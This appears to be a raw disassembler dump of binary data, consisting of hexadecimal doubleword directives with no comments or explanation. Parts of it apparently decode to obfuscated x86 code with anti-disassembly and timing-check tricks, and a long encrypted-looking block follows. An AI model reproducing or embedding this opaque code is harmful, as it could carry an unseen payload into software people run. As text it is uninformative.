dd 10DD8D8Bh, 905B0648h, 0B650DA8Bh, 6A90A8h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 0B58954C3h
dd 6481435h, 30A195FFh, 6A0648h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 75FE27C3h, 57C8762Dh
dd 330B0BBBh, 482FB9BDh, 0EE906h, 0A1480000h, 13E7D8F0h
dd 76F2432Ah, 0E37B8607h, 424448Bh, 0FE8h, 0EC7C9200h
dd 0F23BEF6Bh, 8AB59AFEh, 0AF95FCD0h, 1EE5958Bh, 895F0648h
dd 4BA83285h, 24448B06h, 0D38B6608h, 0A8468589h, 9D8B064Bh
dd 64822F9h, 615BD83h, 0F000648h, 0AE85h, 12E900h, 214A0000h
dd 0A73BE290h, 265962F7h, 72D2F3h, 8819F784h, 6840Fh, 0B5890000h
dd 64832DDh, 0FF985C6h, 80470648h, 4E8ECDEh, 0D2000000h
dd 8BD49AA7h, 525050D3h, 5250310Fh, 310F6160h, 0E78358B9h
dd 5A585A28h, 24448B58h, 0DE8B6604h, 0BA66008Bh, 44896CA4h
dd 0F580424h, 68Eh, 75BD2300h, 0FF064830h, 4829A9B5h, 8BC9B306h
dd 482AB995h, 60858D06h, 0F064B7Fh, 68Ch, 9D9D8B00h, 0FF06482Bh
dd 68E0FD0h, 8B000000h, 481CCDBDh, 15858906h, 60064806h
dd 6850Fh, 0B5290000h, 6480D61h, 8361C28Bh, 48091DBDh
dd 850F0006h, 148h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 86C35141h, 93E091CEh, 0F98A1AC3h, 0FF985C6h
dd 6A470648h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 37DCC350h, 0D2CA814Bh, 0E8035232h
dd 4, 8A0FB5E2h, 0AC94BF66h, 0B5525050h, 8A310F04h, 8B585ADAh
dd 0B7042444h, 0E9008BF4h, 5, 0E70C8FC9h, 244489D7h, 0F525004h
dd 8D0F5131h, 0
dd 58585A5Bh, 2E799589h, 0B5FF0648h, 64829A9h, 12E8h, 49F8ED00h
dd 7D596BB6h, 334212F1h, 0EAEE2C03h, 0E8042086h, 0Fh, 0C772C3EBh
dd 210AA99h, 89118BD2h, 2998F8E6h, 4818518Dh, 56595A06h
dd 0A058D8Bh, 8D5B0648h, 4B7F6085h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 11E878A9h
dd 0F1000000h, 2F1FCF63h, 35496959h, 26C94935h, 0A01AC8E3h
dd 5AACB250h, 6AD0FF5Fh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 1C32C355h, 9AE9A691h
dd 2AF8F8C6h, 9719D89h, 85890648h, 648091Dh, 0D18B66F8h
dd 0AF5BD83h, 0F000648h, 12485h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0F43D9DD9h
dd 9B258D47h, 30A58D29h, 85C60648h, 6480FF9h, 0DF815156h
dd 306AD853h, 4E85Fh, 6D390000h, 8B66D41Fh, 0F88B50DEh
dd 424448Bh, 0AE9h, 9BDC4200h, 0BE0F2242h, 8BB73336h, 0C1BF6600h
dd 2444897Dh, 8E804h, 4B920000h, 0BDD5BB69h, 0E956700Eh
dd 6, 9DB129F9h, 5B5B69C5h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0D33BBEBAh
dd 8960D564h, 480F21BDh, 0C0C38106h, 0FF5C7B05h, 4829A9B5h
dd 0F1858906h, 6606481Bh, 8DC0B4BBh, 4B7F6085h, 8850F06h
dd 60000000h, 0F28166F5h, 0FF612E11h, 659589D0h, 8B064800h
dd 0F58589F9h, 6A06480Ah, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 7B3BC350h, 77EC8846h
dd 1D57B40h, 4811BD85h, 13E906h, 41F0000h, 8D060F7Ah, 5387EB6Eh
dd 0E418F163h, 3E8E456Ah, 0F985C650h, 6C06480Fh, 4968CC8Ah
dd 60A933F9h, 5ED38B51h, 24348161h, 723689CAh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 66C35747h, 2820F60h
dd 0B6000000h, 8E0FD1h, 61000000h, 89DA8B66h, 4832A1B5h
dd 0D5B5FF06h, 0E906480Eh, 8, 1289C5FDh, 48FE304Ah, 38BA858Dh
dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 769463C3h, 9D89D6A1h, 64810C5h, 6AD0FFh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 74B6D8C3h, 758D8B37h, 0F064811h, 8589D3BFh, 64BA836h
dd 6AFB8B66h, 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1804h, 0C3504000h, 6DED502Ah, 0C18D8977h, 0E9064828h
dd 14h, 178BE8CEh, 4ABF12FCh, 0C04FBCBBh, 94207635h, 0C74650FDh
dd 598C3968h, 28D0F6Ch, 8A000000h, 243481F8h, 6C599C39h
dd 6E8h, 0B408D700h, 0FCFDB109h, 4E85Ah, 0
dd 0EBA0001h, 505DEEF4h, 0EE960h, 7F0F0000h, 0FF0B7F88h
dd 14721E65h, 0E1FEFB75h, 8B61F08Ah, 0B3042444h, 66008B2Fh
dd 4489CA8Bh, 8D0F0424h, 4, 5F616057h, 0DA8B5258h, 6AF959h
dd 0FFD68B66h, 482ACD95h, 0C9816606h, 8589E796h, 64BA842h
dd 6A4DB3h, 0FB5F180h, 287h, 6894B300h, 599BFD7Dh, 8CCCBB66h
dd 7D243481h, 6A599AFDh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 0F583C352h, 9D8BFCE1h
dd 6482401h, 9589D88Bh, 6482801h, 0CE950h, 0B07F0000h
dd 19E744Fh, 9C788CA8h, 4894C06h, 0E90B6A24h, 13h, 0A9FF9FC8h
dd 3A265E98h, 17B47E62h, 0C8CC9F5Fh, 8DF4BE5Dh, 4BA80F85h
dd 6E806h, 0D7390000h, 68B08280h, 8FD8529h, 505A0648h
dd 12E8h, 0DB6C5600h, 0CA28B11Ah, 0AE1985CCh, 18160696h
dd 599BE513h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 9198C353h, 66EE450Ah
dd 0E381D98Bh, 572A3F74h, 61595FFh, 2B600648h, 482ECD95h
dd 91958B06h, 61064817h, 0A819B58Dh, 9589064Bh, 6481BADh
dd 10E850h, 212E0000h, 6417038Ch, 1720AF19h, 0D6C09A3Bh
dd 0FB8B0598h, 2434895Ah, 2ED99D8Bh, 8B500648h, 240489DAh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 12C35242h
dd 300CAA4Dh, 11A98D8Bh, 95FF0648h, 648091Dh, 0FFCEB70Fh
dd 799589D0h, 8B064832h, 4BA842B5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 6AE1DB69h
dd 1CFE9CD0h, 8D8B4FBDh, 6481025h, 1C899D8Bh, 85C70648h
dd 64BA83Ah, 0
aFQa db 'f¿³q€~ ',0
dd 300840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 0F560C0C3h, 0F520468Dh, 0A83E8589h
dd 0D38B064Bh, 24E9h, 6A4000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 0D82A26C3h, 0D2F28166h
dd 3880FCh, 0FFD3850Fh, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0C24FEEC3h, 0FC27411Ch
dd 0B3C5482h, 4832C18Dh, 18D8906h, 0E9064814h, 2Ch, 9D89D98Bh
dd 6482BF5h, 51006A48h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1B04h, 0C3514100h, 1DBAE510h, 0F543E30Fh, 0F5C3880h
dd 4584h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 80F51CB6h, 840F2F38h, 1Eh, 4ED8D31h
dd 0BD8B0648h, 64803F1h, 0A83E853Bh, 830F064Bh, 0FFFFFF94h
dd 27298D29h, 6A400648h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 57A7C351h, 0F041AF20h
dd 51FCA938h, 2880Fh, 59560000h, 46BD835Ah, 64BA8h, 85840Fh
dd 8D8B0000h, 6481879h, 0A8B0F50h, 0E9000000h, 5, 6B5F432Dh
dd 24048930h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 48C35141h, 0F901B165h, 891A41F9h, 48118995h, 46850306h
dd 0F064BA8h, 68Ah, 919D0300h, 0C606482Fh, 0AB20000h, 56006A58h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 2952F609h, 33527744h, 4829799Dh, 90FC5906h, 0C4978B9h
dd 88BA505Ah, 9048CFDCh, 8C92BF66h, 0A832B5FFh, 95FF064Bh
dd 64BA836h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 0F2C35343h, 0DD2CA821h, 64E753CBh, 17870Fh, 820F0000h
dd 11h, 0BE8h, 83433100h, 73D6BD6Dh, 5FA3324Ch, 618D895Ah
dd 0B06481Bh, 91850FC0h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0DB38C356h
dd 8BE06846h, 481535BDh, 1958906h, 61064817h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F1C35242h, 0AB3B8FBBh
dd 3A85C710h, 1064BA8h, 80000000h, 67E995D6h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 9E04C357h, 0AE9DD091h, 89F9F152h, 68F0Fh
dd 0B5890000h, 6481CD9h, 50006A61h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 0B4E3F2FEh, 81185F7Ah
dd 11CC6h, 0DA816600h, 0F9E9C56Ah, 80FFFFFCh, 3A68F0DEh
dd 8BACC0EEh, 240481CAh, 533F91C6h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 8CC35040h, 1AB9EB98h, 81664347h
dd 8B8AA0CAh, 48121D95h, 8B006A06h, 4815759Dh, 42B5FF06h
dd 29064BA8h, 480E098Dh, 0F595FF06h, 0F06480Ah, 684h, 91958B00h
dd 8B06480Eh, 4BA83A85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 0E80D1360h, 0DEB6BFC0h
dd 0E7817463h, 103BA73Fh, 8E990h, 8A650000h, 3A1B12E0h
dd 50507605h, 0F95B552h, 5AD38B31h, 9D8B9058h, 6482AD1h
dd 0A84A858Dh, 958B064Bh, 648072Dh, 0D78B6690h, 0F88B6650h
dd 9D9D8B90h, 6606480Fh, 858DD38Bh, 64BA807h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 32C35343h, 1753FB38h
dd 57CBF1F4h, 90B0B7A4h, 50CE8B66h, 12E8h, 238F2600h, 0E64E0274h
dd 0AC148B27h, 0BC5EEEF8h, 5076EE00h, 7E852h, 0F04A0000h
dd 0DE3FE4CBh, 310F5911h, 850Fh, 585A0000h, 6A905Fh, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 2356DAC3h, 0B589C42Dh, 64830E9h, 173195FFh, 6A0648h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0DA817EC3h, 8B0BD605h, 48137195h, 0FC08B06h, 688h, 0B19D8B00h
dd 83064823h, 481299BDh, 9750006h, 0D35BD83h, 74000648h
dd 8B535013h, 4D0B8C0h, 9D8D0000h, 64AA29Fh, 585BD3FFh
dd 0D35BD83h, 74000648h, 0B8535011h, 4D0h, 0A19E9D8Dh
dd 0D3FF064Ah, 6A585Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 89BE98C3h, 6ADFC1A5h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 4AC0C353h, 3FC0F946h, 66890D1Ah, 14E9DA8Bh, 60000000h
dd 9096E06Eh, 0D20BF481h, 77F7221Ah, 88BB0665h, 8B7E8F4Bh
dd 0C5E381C0h, 58716EE3h, 30458D89h, 8C20648h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 0C674F779h, 0FD14BAA2h, 0FEB70FD0h, 61BBC08Bh, 8D52CA8Bh
dd 4BA85E85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 33F04211h, 14E9C9h, 1F9C0000h, 0A7D8B012h
dd 0F6B21B0Ah, 0BC3BA195h, 4A6DFECFh, 858916C1h, 64815A5h
dd 39EBh, 2CC00BFh, 2E400BFh, 0BFh, 0B16C0000h, 0BD4B47BCh
dd 0B56F76A5h, 0B17422B4h, 0F6EC4FBFh, 0D8AC4EB5h, 9424769Fh
dd 0AC7E229Dh, 0B67D529Eh, 0BD7E4A85h, 0B80646B0h, 305422BBh
dd 0D88122D2h, 87037DF1h, 0DC445E58h, 0DC146650h, 0D81822C9h
dd 0A1CF7596h, 0D9A8A842h, 0D869E25Ah, 0D882CA84h, 85E022D1h
dd 0B4E97F12h, 9CB126F5h, 0D80F26F5h, 8D4922D1h, 1A639912h
dd 0B9B6A91Bh, 5B876AF8h, 90D2BB6Ch, 0D11522D7h, 0D5059F52h
dd 0AC182499h, 535F72C8h, 0DCBF9A11h, 5D8A22D1h, 0DEC90B68h
dd 7CA4BF5Ch, 0B9F249Bh, 65B37A8Ah, 0DE502FE4h, 881B56D1h
dd 0DCBF9A82h, 5D8A22D1h, 0DEC90B68h, 7993BF5Ch, 0B9F249Bh
dd 0D85A7A8Ah, 0D81BCA81h, 802C22D1h, 9C8F7A12h, 9C8226F5h
dd 0D89B26F5h, 888022D1h, 4028212h, 0E4783C6Ah, 0CEC9AFE0h
dd 0D2B32499h, 5319C121h, 8F034811h, 0D8812139h, 1B9F02D1h
dd 0FC1CAB8Eh, 0FC74A3D5h, 0D81837D5h, 1B5B65D1h, 66BCD4D8h
dd 584F304Dh, 5D476323h, 0DE882D28h, 59D5AB87h, 30366AC7h
dd 0D81822D5h, 44A49A83h, 0DB769C81h, 9C88120Eh, 5F8E26F5h
dd 0D8C022D8h, 30609DB1h, 2BB7722h, 8818A9B0h, 8A5E7283h
dd 6D372D8Bh, 0D75B7893h, 0D88ACBE0h, 0B8E922D1h, 702BB1F9h
dd 19DD7EF7h, 51407806h, 67080695h, 0A5E123C2h, 71B6DD89h
dd 0BE876AF8h, 129CB50h, 0A700A75Ch, 0CBD9249Ah, 9F1822D1h
dd 0A55A6EE6h, 9A631989h, 0F641CD2Dh, 4E140F8Bh, 83FAEA2h
dd 0CCBD975Ah, 0D3D92499h, 5C1822D1h, 0ED1EE08Ch, 0AAF63911h
dd 0DC69F137h, 0F448A3B7h, 0F3434A19h, 0DE896D76h, 7C3022D1h
dd 0F3AA0CFBh, 0FC38A34Dh, 97A11952h, 305022BBh, 0D88122D2h
dd 830379F1h, 0DC447E58h, 0DC146650h, 0D81822C4h, 18CF7192h
dd 0D3EF427Ch, 3F0322D1h, 0A20B75D0h, 164EB784h, 4D63F9D8h
dd 0DE780904h, 0D81CCAB0h, 0DAE022D1h, 616022D1h, 5353DDC3h
dd 0FCC5A921h, 0EA479CD5h, 0D8EB1D55h, 298E4280h, 614B8229h
dd 0BDB5EFABh, 9C8F78B0h, 585B26F5h
dd 0D8EB5C00h, 309122BBh, 0D86022D2h, 81F37BF1h, 0DC3C6E58h
dd 0DC286650h, 0D80622C7h, 87C07390h, 5DA87FD7h, 0DE883728h
dd 0D80AF22Eh, 0D833CA84h, 853822D1h, 0B4857F12h, 9C8726F5h
dd 0D81E26F5h, 8DC422D1h, 67727812h, 6BD2247Bh, 0D78D7F10h
dd 0D818245Eh, 0D1B911D1h, 51006AD9h, 93B55F54h, 8A8148D7h
dd 0D8C02139h, 1B3A02D1h, 0FC64AB8Bh, 0FC5CA3D5h, 0D80C3ED5h
dd 1B5460D1h, 36623B1Fh, 0C40FF154h, 0DB4F2DFCh, 586022D1h
dd 563F4613h, 0D81822D1h, 0C8B59F5Ah, 208D2499h, 0D801EED4h
dd 5904ABD1h, 5BC66967h, 5DE93A11h, 0DE7B9454h, 34A1E2E2h
dd 2B0C22D3h, 0DD812D7Bh, 660322D1h, 8E58FFD1h, 62444968h
dd 21E5E4F2h, 9B366ADEh, 304922BBh, 0D80C22D2h, 81C57BF1h
dd 0DC276E58h, 0DCA56650h, 0D8C022C4h, 1A37390h, 0D83BCAFEh
dd 3E1E22D1h, 0DC1DAE3Eh, 0CBADEBD5h, 21BEA97Fh, 87876AF7h
dd 0D8C02639h, 0BF0B7CD1h, 0D762724Dh, 0FC4698E0h, 80566501h
dd 61664281h, 0D8C8F347h, 0D8813039h, 6CA9F8D1h, 74FAED69h
dd 45882057h, 0E1F46897h, 8239EA65h, 9C8D43B0h, 606326F5h
dd 0AE2C51C5h, 52C0A9B0h, 0FC24AB25h, 0EF2198D5h, 0B2401CB8h
dd 0DBE474D1h, 0F80622D1h, 515DE18Fh, 598506A5h, 0C0C40695h
dd 9E6022D1h, 0BCD9E187h, 0BED0646Ah, 24E9C56Eh, 0F1AF972Eh
dd 0D8692499h, 0D882CA86h, 87E022D1h, 0A4E97D12h, 9CB126F5h
dd 0D80026F5h, 8F4B22D1h, 0EF895812h, 0D0EA70D5h, 0E28122D1h
dd 0A458057Ch, 55B0A583h, 934F4254h, 8A1848D7h, 0D80C2139h
dd 1B5C02D1h, 0FC57AB8Bh, 0FCC5A3D5h, 0D8C036D5h, 1B3260D1h
dd 0E5BD0901h, 271E6AC1h, 8D0C4801h, 0D8062139h, 1B5E02D1h
dd 0FCEDAB8Ch, 0FC84A3D5h, 0D8603BD5h, 1B6567D1h, 2C2057CAh
dd 6D3DFD41h, 0DE4E2B38h, 0FB96A758h, 0C9682499h, 9EC022D1h
dd 597316DAh, 1CAE63C4h, 0AE56B04Dh, 274BA47Ah, 0DB2BA75Ch
dd 0D8692499h, 0D882CA84h, 85E022D1h, 0B4E97F12h, 9CB126F5h
dd 0D80226F5h, 8D4922D1h, 6A58AE12h, 0A5475DAAh, 155ED550h
dd 5D497D81h, 0DE2809FCh, 306122BBh, 0D81822D2h, 81CF7BF1h
dd 0DC226E58h, 0DC276650h, 0D88122C8h, 6C037390h, 72BBFE53h
dd 21B5E4DBh, 8B1E6ADEh, 666AD85Ah, 0A76EFFB5h, 0BEB58CF5h
dd 59734D68h, 0FC9906D5h, 0D28864D2h, 483022D1h, 0F4CF927h
dd 0EB436764h, 62E4A3AFh, 877B5B3Bh, 0F128972Eh, 67CF2499h
dd 0B8E5AF2Ah, 0B23669AEh, 0DBF073D1h, 0F80C22D1h, 515FE188h
dd 5907069Dh, 0C5850695h, 99C022D1h, 9C30E180h, 0D4C32A7Dh
dd 119308DAh, 0D80AA1DEh, 4D0722D1h, 0DE4B0B70h, 5D08F22Eh
dd 0DE882BFCh, 303222BBh, 0D83022D2h, 82DB78F1h, 0DC287658h
dd 0DC226650h, 0D80322CCh, 12427093h, 0F67221A8h, 5CF68EDBh
dd 21B5E4ECh, 8B1E6ADEh, 305F22BBh, 0D80622D2h, 83C079F1h
dd 0DCA57E58h, 0DCE46650h, 0D86022CBh, 7DF37192h, 54E6AE37h
dd 1D8CDD27h, 0D802CA3Fh, 1CB022D1h, 66E7FAC9h, 5390E862h
dd 0D7640695h, 0D830265Ah, 0B97842D1h, 880CA9B0h, 82CDA9B7h
dd 0DC276658h, 0D88DCA81h, 625422D1h, 0CA8E46C7h, 936C26F8h
dd 0D4F1B012h, 9E0C22D1h, 0A73AAEDDh, 35D7158Eh, 81A99C78h
dd 0DF297A88h, 526022D1h, 56FEEF86h, 6DE77F20h, 0DE440B78h
dd 2B8744B1h, 0D5EB1FBFh, 208122D1h, 6E44B3BBh, 7C6A34A9h
dd 0E3A592D4h, 55797924h, 93734254h, 0D0862DD7h, 8E0322D1h
dd 0D510AF58h, 279E2499h, 89604801h, 0D8302139h, 1B4102D1h
dd 0FC40AB88h, 0FC42A3D5h, 0D8033BD5h, 1BD063D1h, 40F92A93h
dd 5100911Fh, 90360F5Ch, 0AAF2DD7h, 2D89ABB0h, 0B2006AD8h
dd 0DBEB70D1h, 0F88122D1h, 519AE18Bh, 59640685h, 0C5340695h
dd 9A1822D1h, 123FE183h, 0D124CE34h, 0A7D57356h, 0E9F49F58h
dd 5D062499h, 0DE282D28h, 0D8B92D96h, 0B01822D1h, 541EED75h
dd 0A9129CB7h, 0DD272650h, 0F1AAEEDFh, 90DB1F54h, 71D5DDD7h
dd 0D9366AF8h, 90032354h, 0D2E572D7h, 520622D1h, 0C1D29CE1h
dd 0BF7DD8C3h, 5D4D7D07h, 0DE2B5DB1h, 0E42E550h, 8E769C4h
dd 0AC6CB50h, 5D8F0A68h, 0DE4B2E2Ch, 30D622BBh, 0D8C022D2h
dd 87A37DF1h, 0DC145E58h, 0DC3C6650h, 0D80C22CCh, 56C57596h
dd 868B7A85h, 9272BC07h, 2145E446h, 9F666ADEh, 0D181AFE0h
dd 0E7702499h, 5308F492h, 0FC02A307h, 0A506EFEAh, 30D622BBh
dd 0D8C022D2h, 87A37DF1h, 0DC145E58h, 0DC3C6650h, 0D80C22CAh
dd 0B7C57596h, 26D96241h, 27627963h, 90E98B64h, 0D86BCBD7h
dd 4E1E22D1h, 42126657h, 0B8BE77C8h, 0B883AF0Ah, 270569AEh
dd 0D514A901h, 51C66AFEh, 90517F54h, 21B5E4D7h, 9F1E6ADEh
dd 0FFE9B7D0h, 0DCEE2499h, 850322D1h, 882BEFEDh, 0D8D4CB83h
dd 0C14422D1h, 70551B3Eh, 0E45335A1h, 0E7996E5Dh, 4EDBFB88h
dd 0E90CAD3Ah, 0A05C4068h, 889878DFh, 9CEBD55Ah, 8A6026F5h
dd 6E7942B1h, 0E90343ECh, 8A567081h, 805913DEh, 80DB13DEh
dd 0D84B7A8Bh, 0D8602A39h, 7D49F6D1h, 0FC710820h, 606A42F2h
dd 5360F101h, 515A431Bh, 0B8850695h, 0DC0086Eh, 0F5A29C91h
dd 80516325h, 304A22BBh, 0D80C22D2h, 82C578F1h, 0DC277658h
dd 0DCA56650h, 0D8C022CAh, 81A37093h, 8E8648C6h, 53B0C066h
dd 90160B64h, 71B3DDD7h, 66056AF8h, 0C201E991h, 0A7A0A75Ch
dd 6DE9249Ah, 0DE782E34h, 0D872F22Eh, 0D80FCA83h, 822622D1h
dd 8C8A7812h, 9C0026F5h, 0D8D626F5h, 8A2222D1h, 6C5A4F12h
dd 0DE3997F8h, 5D852499h, 0DE4E0C0Ch, 305622BBh, 0D88122D2h
dd 85037FF1h, 0DC444E58h, 0DC146650h, 0D81822C6h, 0E9CF7794h
dd 0BEDFF10Fh, 0B08EE550h, 0D8EBF22Eh, 0D8C3CA87h, 864022D1h
dd 0ACB97C12h, 9C9926F5h, 0D81826F5h, 8E4022D1h, 670CF512h
dd 5D04AB01h, 0B2C66ACBh, 0DB8875D1h, 0F83022D1h, 5147E18Eh
dd 590806ADh, 0C5020695h, 9F0322D1h, 0FFC2E186h, 92A0998Fh
dd 2EC89937h, 0C955A7F8h, 65932499h, 0DE4434F4h, 0B2DEAEB7h
dd 0DBEB70D1h, 0F88122D1h, 519AE18Bh, 59640685h, 0CE340695h
dd 9A1822D1h, 6BC0E183h, 0FCECA8EAh, 1809DED5h, 0DA65A6DEh
dd 0D12922D1h, 676022D1h, 0B539CA1Dh, 0D04A8DCAh, 0D7F5A717h
dd 53492499h, 9025F764h, 55F04AD7h, 0E07FE125h, 595CC37Bh
dd 398506E5h, 0D8725EA5h, 0D80FCA83h, 822622D1h, 8C8A7812h
dd 9C0026F5h, 0D8DC26F5h, 8A2222D1h, 7E0B2112h, 0C4D36A32h
dd 6DF3DC29h, 0DE4E0B78h, 0A763A75Ch, 277D249Ah, 8EC04801h
dd 0D8602139h, 1B6E02D1h, 0FC6CAB8Fh, 0FC48A3D5h, 0D80637D5h
dd 1B5564D1h, 4D0875B6h, 0DE883098h, 0BE44E252h, 51DBBF6Eh
dd 9030974Ch, 9989ABD7h, 31006AD6h, 0D80322DAh, 83548336h
dd 23A64ACDh, 53E7FD60h, 902AA754h, 881848D7h, 0D80C2139h
dd 1B5E02D1h, 0FC47AB89h, 0FCC5A3D5h, 0D8C03FD5h, 1B3062D1h
dd 1342DD73h, 1034E70Fh, 6587616Ch, 0DE4E35BCh, 0F6DEBF5Ah
dd 53E72499h, 0D8AA612Fh, 0D863CA86h, 871022D1h, 0A4917D12h
dd 9C8D26F5h, 0D81D26F5h, 8F4422D1h, 8541C512h, 0C3424F77h
dd 1D5135Bh, 0B8366AF0h, 0D1759FD8h, 6F032499h, 0C38D4310h
dd 305422BBh, 0D88122D2h, 87037DF1h, 0DC445E58h, 0DC146650h
dd 0D81822C7h, 96CF7596h, 550DEF49h, 0DE4B09F0h, 0D8EB395Ah
dd 0D8C3CA86h, 874022D1h, 0A4B97D12h, 9C9926F5h, 0D81526F5h
dd 8F4122D1h, 78DE8912h
dd 3028CB96h, 0D8C022C1h, 73211A09h, 93C6A29Ah, 82B677BCh
dd 4456E57Ch, 0DF9B9F5Ah, 535A2499h, 8E8148CAh, 0D8C02139h
dd 1B3E02D1h, 0FC44AB8Fh, 0FC5CA3D5h, 0D80C39D5h, 1B5064D1h
dd 6D4EDDB2h, 3E8A6A72h, 0EB9AD781h, 45E9D709h, 0DE7830C8h
dd 0D9E9AF5Ah, 5DCA2499h, 0DE4E2D28h, 8A034896h, 0D8812139h
dd 1B9A02D1h, 0FC34AB8Bh, 0FC74A3D5h, 0D81834D5h, 1B5E60D1h
dd 0D7067D23h, 0D803335Bh, 0D888CAD1h, 0F06C22D1h, 0B7EB226Eh
dd 53692F3Bh, 0BC707B26h, 0BE37C543h, 59EF516Eh, 934606D5h
dd 55085926h, 0DE882844h, 0F1C9972Eh, 55BB2499h, 0DE5038FCh
dd 0A76CA75Ch, 0D86C249Ah, 0D800CA86h, 87A122D1h, 0A4497D12h
dd 9CE126F5h, 0D82926F5h, 8F5F22D1h, 172A8F12h, 5198CCE9h
dd 901B1F54h, 951C0BD7h, 27C66AE3h, 8B604801h, 0D8302139h
dd 1B4302D1h, 0FC50AB8Ah, 0FC42A3D5h, 0D8033ED5h, 1BD261D1h
dd 9C83C69Eh, 0DE7D9920h, 51C8A9F2h, 9014DF54h, 8B0C48D7h
dd 0D8062139h, 1B5802D1h, 0FCDDAB8Ah, 0FC84A3D5h, 0D86037D5h
dd 1B6361D1h, 6591D68Dh, 0DE440940h, 0C83BA758h, 31432499h
dd 0D88122C2h, 0B17AEB44h, 0E8C3FF85h, 0B09D17E0h, 0A8125840h
dd 8FF79408h, 0D8062C38h, 0D8336ED1h, 5261303h, 0B601D055h
dd 879F20A6h, 2B1225Ah, 0A8B6FB3Ah, 6703225Ah, 0E983AB00h
dd 31056AF8h, 0D88123C1h, 0D7D1975Ah, 5DED2499h, 0DE7B9472h
dd 0D0D997FAh, 515C2499h, 6D8D06D5h, 0DE4B0EE0h, 0C16CB72Eh
dd 0D8AA2499h, 0D863CA87h, 861022D1h, 0AC917C12h, 9C8D26F5h
dd 0D81D26F5h, 8E4522D1h, 0DCCA7D12h, 0D4B20477h, 0D874CBC9h
dd 51B122D1h, 650FF027h, 760FB799h, 0ECB26709h, 56D7209Bh
dd 450CB80Eh, 0DE8B9478h, 303722BBh, 0D83022D2h, 87DB7DF1h
dd 0DC285E58h, 0DC226650h, 0D80322CAh, 0FA427596h, 140DFFB7h
dd 0D7DEB4C7h, 8BA3EC6Eh, 0D81AABDEh, 138722D1h, 0D4EF728Bh
dd 880322D1h, 0ACC57A31h, 53D2522Ch, 4BD0FE00h, 306322BBh
dd 0D81822D2h, 83CF79F1h, 0DC227E58h, 0DC276650h, 0D88122CAh
dd 74037192h, 93BD8ED6h, 0F151A9D3h, 90374B54h, 0DC802DD7h
dd 0BE0622D1h, 482D5968h, 0DA0B2D81h, 6DC022D1h, 556BB248h
dd 0DE7836D0h, 0D80DBF58h, 4DF32499h, 0DE4E2BCCh, 0F6B69F5Ah
dd 5D082499h, 0DE882590h, 0D866A9DEh, 65B922D1h, 0DE5029C0h
dd 0D7F5A717h, 0B2552499h, 0DBEB73D1h, 0F88122D1h, 5199E188h
dd 5964069Dh, 0CE340695h, 991822D1h, 32D6E180h, 4D734A9Bh
dd 8A53AE41h, 0D882A2DEh, 53A622D1h, 8A512D06h, 826FF55Ah
dd 0FC2CA389h, 0FE1B33DBh, 0E993AF5Ah, 6DFC2499h, 0DEC90B78h
dd 0A7A0A75Ch, 6DE9249Ah, 0DE78057Ch, 0C88D3E6Fh, 51DCDDFAh
dd 90067354h, 8E0348D7h, 0D8812139h, 1B9E02D1h, 0FC14AB8Fh
dd 0FC74A3D5h, 0D81834D5h, 1B5A64D1h, 1E3BB91Ch, 900CDB54h
dd 200A65D7h, 0C241BFD8h, 4C082499h, 0BEB24DC8h, 0EC99E85Ah
dd 0C50026F5h, 880648F2h, 0D8032139h, 1BD902D1h, 0FC84AB89h
